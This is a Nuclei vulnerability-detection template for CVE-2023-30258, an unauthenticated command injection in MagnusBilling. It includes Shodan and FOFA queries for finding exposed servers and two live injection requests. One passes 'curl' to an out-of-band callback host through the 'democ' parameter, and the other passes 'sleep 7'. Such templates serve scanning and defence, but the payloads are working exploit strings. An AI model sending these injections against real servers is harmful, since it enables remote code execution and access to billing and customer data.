MagnusBilling - Remote Code Execution

id: CVE-2023-30258

info:
  name: MagnusBilling - Remote Code Execution
  author: gy741,mananispiwpiw
  severity: critical
  description: |
    Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on the MagnusBilling server, leading to complete system compromise and potential access to all billing data and customer information.
  remediation: |
    Upgrade to the latest patched version of MagnusBilling or apply vendor-provided security updates.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30258
    - https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
    - http://packetstormsecurity.com/files/175672/MagnusBilling-Remote-Command-Execution.html
    - https://github.com/magnussolution/magnusbilling7/commit/ccff9f6370f530cc41ef7de2e31d7590a0fdb8c3
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30258
    cwe-id: CWE-78
    epss-score: 0.9425
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: magnussolution
    product: magnusbilling
    shodan-query: http.html:"magnusbilling"
    fofa-query: body="magnusbilling"
  tags: cve,cve2023,packetstorm,magnusbilling,rce,oast,unauth,intrusive,magnussolution,vkev,vuln

flow: http(1) || http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};curl%20{{interactsh-url}};#"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};sleep%207;#" # For internal/blind environments

    matchers:
      - type: dsl
        dsl:
          - "duration >= 7"
          - 'len(body)==0'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022035767c614b2d6e71cd402726fc3e53117d3b1ea313d8b9a494a8b4eb8580144a02203743c6fe8a9ef77fdc03c0427b98d9ffd24556b7c8e64d5ab1d8cb2e0566e526:922c64590222798bb761d5b6d8e72950